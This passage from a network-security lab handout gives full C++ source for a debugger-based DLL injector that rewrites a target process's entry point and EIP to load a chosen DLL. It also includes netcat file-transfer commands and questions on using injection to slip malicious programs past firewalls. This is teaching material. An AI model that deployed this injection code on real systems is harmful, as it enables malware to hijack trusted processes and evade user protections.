&m_ProcessInformation, 0, sizeof(m_ProcessInformation) ); } //=================================================================== CDebugInjector::~CDebugInjector() { CloseHandle( m_ProcessInformation.hThread ); CloseHandle( m_ProcessInformation.hProcess ); CloseHandle( m_CreateProcessDebugInfo.hProcess ); CloseHandle( m_CreateProcessDebugInfo.hThread ); delete []m_pszDLLToInject; }
52
//=================================================================== bool CDebugInjector::LoadProcess( PSTR pszCmdLine ) { STARTUPINFO startupInfo; memset(&startupInfo, 0, sizeof(startupInfo)); startupInfo.cb = sizeof(startupInfo); BOOL bCreateProcessRetValue; bCreateProcessRetValue = CreateProcess( 0, // lpszImageName pszCmdLine, // lpszCommandLine 0, // lpsaProcess 0, // lpsaThread FALSE, // fInheritHandles DEBUG_ONLY_THIS_PROCESS, // fdwCreate 0, // lpvEnvironment 0, // lpszCurDir &startupInfo, // lpsiStartupInfo &m_ProcessInformation ); // lppiProcInfo return bCreateProcessRetValue != FALSE; } //=================================================================== bool CDebugInjector::SetDLLToInject(PSTR pszDLL) { m_pszDLLToInject = new char[ lstrlen(pszDLL) + 1 ]; lstrcpy( m_pszDLLToInject, pszDLL ); return true; } //=================================================================== bool CDebugInjector::Run( void ) { DEBUG_EVENT dbgEvent; DWORD dwContinueStatus; // The debug loop. Runs until the debuggee terminats while ( 1 ) { WaitForDebugEvent(&dbgEvent, INFINITE); dwContinueStatus = HandleDebugEvent( dbgEvent ); if ( dbgEvent.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT ) break; ContinueDebugEvent( dbgEvent.dwProcessId, dbgEvent.dwThreadId, dwContinueStatus ); } return true; } //=================================================================== DWORD CDebugInjector::HandleDebugEvent(DEBUG_EVENT &dbgEvent) { DWORD dwContinueStatus = DBG_CONTINUE; switch ( dbgEvent.dwDebugEventCode ) {
53
case CREATE_PROCESS_DEBUG_EVENT: m_CreateProcessDebugInfo = dbgEvent.u.CreateProcessInfo; CloseHandle( m_CreateProcessDebugInfo.hFile ); break; case EXCEPTION_DEBUG_EVENT: dwContinueStatus = HandleException( dbgEvent ); break; case CREATE_THREAD_DEBUG_EVENT: CloseHandle( dbgEvent.u.CreateThread.hThread ); break; case LOAD_DLL_DEBUG_EVENT: CloseHandle( dbgEvent.u.LoadDll.hFile ); break; case OUTPUT_DEBUG_STRING_EVENT: HandleOutputDebugString( dbgEvent ); break; } return dwContinueStatus; } //=================================================================== DWORD CDebugInjector::HandleException(DEBUG_EVENT &dbgEvent ) { EXCEPTION_RECORD & exceptRec = dbgEvent.u.Exception.ExceptionRecord; // If this is a second chance exception, the debuggee is going to // die. Spit out the exception code and address if ( dbgEvent.u.Exception.dwFirstChance == FALSE ) { printf( "Exception code: %X Addr: %08X\r\n", exceptRec.ExceptionCode, exceptRec.ExceptionAddress ); } // If we've gone through the mechanics of injection already, just // pass the exception on to the debuggee if ( m_bInjected ) return DBG_EXCEPTION_NOT_HANDLED; // If it isn't a breakpoint, we don't want to know about it. if ( exceptRec.ExceptionCode != EXCEPTION_BREAKPOINT ) return DBG_EXCEPTION_NOT_HANDLED; static bool s_bFirstBP = FALSE; DWORD dwContinueStatus = DBG_CONTINUE; // Is this the DebugBreak breakpoint? if ( s_bFirstBP == false ) { SetEntryPointBP(); s_bFirstBP = true; } // Is this the breakpoint we set at the EXE's entry point? else if ( exceptRec.ExceptionAddress == m_pExeEntryPoint ) { RemoveEntryPointBP(); SaveEntryPointContext( dbgEvent ); PlaceInjectionStub(); } // Is this the BP immediately after our LoadLibrary call? else if ( exceptRec.ExceptionAddress == m_pStubInTargetBP ) { RestoreEntryPointContext(); m_bInjected = true; }
54
return dwContinueStatus; } //=================================================================== void CDebugInjector::HandleOutputDebugString( DEBUG_EVENT & dbgEvent ) { if ( !m_pfnODSCallback ) // If no callback registered, just bail return; // An OutputDebugString debug event contains the address and length // of a string in the debuggee. Prepare to copy that memory into // our process space. WORD nLength = dbgEvent.u.DebugString.nDebugStringLength; PVOID pStr = dbgEvent.u.DebugString.lpDebugStringData; char szBuffer[ 1024 ]; nLength = min( sizeof(szBuffer), nLength ); bool retValue = ReadTargetMemory( pStr, szBuffer, nLength ); szBuffer[nLength] = 0; // Null terminate this for Win9X ;-) // If we were able to read the string, invoke the registered callback if ( retValue ) m_pfnODSCallback( szBuffer ); } //=================================================================== bool CDebugInjector::SaveEntryPointContext( DEBUG_EVENT & dbgEvent ) { // Make sure that the thread we have the handle for is // the same thread that hit the BP if ( m_ProcessInformation.dwThreadId != dbgEvent.dwThreadId ) DebugBreak(); m_originalThreadContext.ContextFlags = CONTEXT_FULL; if ( !GetThreadContext( m_CreateProcessDebugInfo.hThread, &m_originalThreadContext) ) return false; // The EIP in the context structure points past the BP, so // decrement EIP to point at the original instruction m_originalThreadContext.Eip = m_originalThreadContext.Eip -1; return true; } //=================================================================== bool CDebugInjector::RestoreEntryPointContext( void ) { // Set the register back to what they were before we redirected them to // the LoadLibrary stub. If we were really fastidious, we'd also delete // the memory allocated for the stub here. return SetThreadContext( m_CreateProcessDebugInfo.hThread, &m_originalThreadContext) != FALSE; } //=================================================================== bool CDebugInjector::SetEntryPointBP( void ) { m_pExeEntryPoint = m_CreateProcessDebugInfo.lpStartAddress; bool retValue = ReadTargetMemory( m_pExeEntryPoint,
55
&m_originalExeEntryPointOpcode, sizeof(m_originalExeEntryPointOpcode)); if ( !retValue ) return false; BYTE bpOpcode = 0xCC; retValue = WriteTargetMemory( m_pExeEntryPoint, &bpOpcode, sizeof(bpOpcode) ); return retValue ? true : false; } //=================================================================== bool CDebugInjector::RemoveEntryPointBP() { bool retValue = WriteTargetMemory(m_pExeEntryPoint, &m_originalExeEntryPointOpcode, sizeof(m_originalExeEntryPointOpcode)); if ( !retValue ) return false; return true; } //=================================================================== bool CDebugInjector::PlaceInjectionStub( void ) { //===================================================== // Locate where the stub will be in the target process m_pStubInTarget = (LOADLIBRARY_STUB*)GetMemoryForLoadLibraryStub(); if ( !m_pStubInTarget ) return false; m_pStubInTargetBP = (PBYTE)m_pStubInTarget + offsetof(LOADLIBRARY_STUB, instr_INT_3); //===================================================== // Complete the stub fields that can't be preinitialized strcpy( m_stub.data_DllName, m_pszDLLToInject ); m_stub.operand_PUSH_value = (DWORD)m_pStubInTarget + offsetof( LOADLIBRARY_STUB, data_DllName); m_stub.operand_MOV_EAX = (DWORD)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"LoadLibraryA"); //===================================================== // Copy the stub into the target process bool retValue; retValue = WriteTargetMemory(m_pStubInTarget, &m_stub,sizeof(m_stub)); if ( !retValue ) return false; //===================================================== // Change the EIP register in the target thread to point // at the stub we just copied in. CONTEXT stubContext = m_originalThreadContext; stubContext.Eip = (DWORD)m_pStubInTarget; SetThreadContext( m_CreateProcessDebugInfo.hThread, &stubContext ); return true; } //===================================================================
56
bool CDebugInjector::ReadTargetMemory( PVOID pAddr, PVOID pBuffer, unsigned cb ) { DWORD cbRead; BOOL retVal = ReadProcessMemory( m_CreateProcessDebugInfo.hProcess, pAddr, pBuffer, cb, &cbRead ); return ( retVal && (cbRead == cb) ); } //=================================================================== bool CDebugInjector::WriteTargetMemory( PVOID pAddr, PVOID pBuffer, unsigned cb ) { DWORD cbWrite; BOOL retVal = WriteProcessMemory( m_CreateProcessDebugInfo.hProcess, pAddr, pBuffer, cb, &cbWrite ); return ( retVal && (cbWrite == cb) ); } //=================================================================== bool CDebugInjector::SetOutputDebugStringCallback( PFNODSCALLBACK pfn ) { m_pfnODSCallback = pfn; return true; } //=================================================================== typedef LPVOID (__stdcall * PFNVIRTALLEX)(HANDLE, LPVOID, SIZE_T, DWORD,DWORD); PVOID CDebugInjector::GetMemoryForLoadLibraryStub(void) { OSVERSIONINFO osvi = { sizeof(osvi) }; GetVersionEx( &osvi ); if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_NT ) { // We're on NT, so use VirtualAllocEx to allocate memory in the other // process address space. Alas, we can't just call VirtualAllocEx // since it's not defined in the Windows 95 KERNEL32.DLL. PFNVIRTALLEX pfnVirtualAllocEx = (PFNVIRTALLEX) GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"VirtualAllocEx"); LPVOID pStubMemory = pfnVirtualAllocEx( m_CreateProcessDebugInfo.hProcess, 0, sizeof(LOADLIBRARY_STUB), MEM_COMMIT, PAGE_READWRITE ); return (LOADLIBRARY_STUB *)pStubMemory; } else if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS ) { // In Windows 9X, create a small memory mapped file. On this // platform, memory mapped files are above 2GB, and thus are // accessible by all processes. HANDLE hFileMapping = CreateFileMapping( INVALID_HANDLE_VALUE, 0, PAGE_READWRITE | SEC_COMMIT,
57
0, sizeof(LOADLIBRARY_STUB), 0 ); if ( hFileMapping ) { LPVOID pStubMemory = MapViewOfFile( hFileMapping, FILE_MAP_WRITE, 0, 0, sizeof(LOADLIBRARY_STUB) ); return (LOADLIBRARY_STUB *)pStubMemory; } else CloseHandle( hFileMapping ); } return 0; }
58
59
Using NETCAT To set a server go into the Netcat directory and type: nc -l -p 1234 > c:\filetobereceived.exe Ato set the client and establish the connection type in the client machine: nc <DESTINATION IP ADDRESS> 1234 c:\filetosendpath.exe When the file is done you may kill NC in the destination machine. The Source machine should close the connection. Check to make sure the file sizes are the same.
60
QWU.2: Write down 3 .dll libraries that were loaded by Internet Explorer.
61
Q1.2: Write down the address of the first NOOP that forms part of a 'cave'.
Q1.3: Write down the address where you added the string.
Q1.4: Write the address where you added the first 'push 0'.
Q1.5: Write the address of the first line after the JMP (The first NOOP) Q1.6: Give one scenario where static dll injection could be used to trick a user into giving a malicious program permission to access the internet (hint: think static injection and peer to peer networks).
Q2.2: Look at the source code of EXE.cpp and identify in which line the dll is injected.
Q2.4: Describe a) where LoadLibraryA is loaded, b) what WriteTargetMemory function does (look for the function in the same file), and c) why are we changing the EIP register? (hint, remember our static injection?).
62
Q3.3: Why does Internet Explorer launch as soon as the server is executed? Q3.4: Why are outgoing packets allowed?
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and/or improvements do you suggest for this lab? You may cross out and edit the text of the lab on previous pages to make corrections. What corrections and/or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You need to be very specific and provide details. You need to actually do the suggested additions in the lab and
63
provide solutions to your suggested additions. Caution as usual: only extract and use the tools you downloaded in the safe and approved environment of the network security laboratory.
64